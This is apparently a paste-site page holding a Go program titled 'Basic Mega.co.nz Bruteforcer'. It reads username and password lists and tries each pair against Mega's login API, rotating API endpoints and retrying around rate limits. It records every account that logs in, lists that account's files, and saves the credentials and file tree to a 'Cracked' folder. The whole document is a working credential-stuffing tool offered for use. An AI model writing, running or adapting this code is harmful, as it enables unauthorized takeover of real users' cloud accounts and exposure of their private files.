Basic Mega.co.nz Bruteforcer


SUBMITTED BY: FlyFar

DATE: Feb. 28, 2024, 2:37 p.m.

FORMAT: Go

SIZE: 3.0 kB

HITS: 456

  1. // A Basic Mega.co.nz Bruteforcer, nothing special :))))
  2. // Features:
  3. // - Gives Username and Password
  4. // - Lists files
  5. // - Saves to Cracked File listing login and Filetree
  6. //
  7. // Mods:
  8. // You will need to do a small hack to the mega.go file of (go-mega); You need to change "API_URL" from Const to a Var so
  9. // var API_URL = "https://eu.api.mega.co.nz"
  10. //
  11. // Compiling:
  12. // Import needed packages. go build main.go
  13. //
  14. // Packages Used:
  15. // github.com/t3rm1n4l/go-mega
  16. // github.com/t3rm1n4l/megacmd/client
  17. package main
  18. import (
  19. "fmt"
  20. "io/ioutil"
  21. "math/rand"
  22. "os"
  23. "strconv"
  24. "strings"
  25. "time"
  26. "github.com/t3rm1n4l/go-mega"
  27. "github.com/t3rm1n4l/megacmd/client"
  28. )
  29. var (
  30. api = [...]string{"https://eu.api.mega.co.nz", "https://g.api.mega.co.nz"} //API's
  31. )
  32. func checkFileExist(filePath string) bool {
  33. if _, err := os.Stat(filePath); os.IsNotExist(err) {
  34. return false
  35. } else {
  36. return true
  37. }
  38. }
  39. func getContent(file string) ([]string, error) {
  40. f, err := ioutil.ReadFile(file)
  41. if err != nil {
  42. return []string{}, fmt.Errorf("error opening file %v", err)
  43. }
  44. results := strings.Split(string(f), "\r\n")
  45. return results, nil
  46. }
  47. type Page struct {
  48. Title string
  49. Body []byte
  50. }
  51. func (p *Page) save() error {
  52. filename := p.Title + ".txt"
  53. return ioutil.WriteFile("./Cracked/"+filename, p.Body, 0600)
  54. }
  55. func countFiles() int { //Count # of files
  56. profiles, _ := ioutil.ReadDir("./Cracked")
  57. return len(profiles)
  58. }
  59. func main() {
  60. if checkFileExist(os.Args[0]+"username.txt") && checkFileExist(os.Args[0]+"password.txt") {
  61. fmt.Println("Error! username.txt OR password.txt not found!")
  62. os.Exit(1)
  63. }
  64. usernames, err := getContent("username.txt")
  65. if err != nil {
  66. fmt.Println(err)
  67. return
  68. }
  69. passwords, err := getContent("password.txt")
  70. if err != nil {
  71. fmt.Println(err)
  72. return
  73. }
  74. for _, u := range usernames {
  75. for _, p := range passwords {
  76. retry:
  77. conf := new(megaclient.Config)
  78. rand.Seed(time.Now().UTC().UnixNano())
  79. mega.API_URL = api[rand.Intn(len(api))]
  80. conf.User = u
  81. conf.Password = p
  82. client, err := megaclient.NewMegaClient(conf)
  83. if err != nil {
  84. fmt.Println(err)
  85. }
  86. err = client.Login()
  87. if err != nil {
  88. if err == mega.ENOENT {
  89. fmt.Println("[Bad] " + u + ":" + p)
  90. break
  91. } else {
  92. fmt.Println("[Limited] Unable to establish connection to mega service", err)
  93. time.Sleep(time.Duration(30) * time.Second)
  94. goto retry
  95. }
  96. }
  97. var tmpstring string
  98. tmpstring += "Login: " + u + ":" + p + "\r\n"
  99. fmt.Println("[Good] " + u + ":" + p)
  100. paths, err := client.List("mega:/")
  101. if err != nil && err != mega.ENOENT {
  102. fmt.Println("[ERROR] List failed ", err)
  103. }
  104. if err == nil {
  105. for _, p := range *paths {
  106. tmpstring += p.GetPath() + "\r\n"
  107. }
  108. s1 := strconv.Itoa(countFiles())
  109. p1 := &Page{Title: "Cracked Account " + s1, Body: []byte(tmpstring)}
  110. p1.save()
  111. }
  112. }
  113. }
  114. }

comments powered by Disqus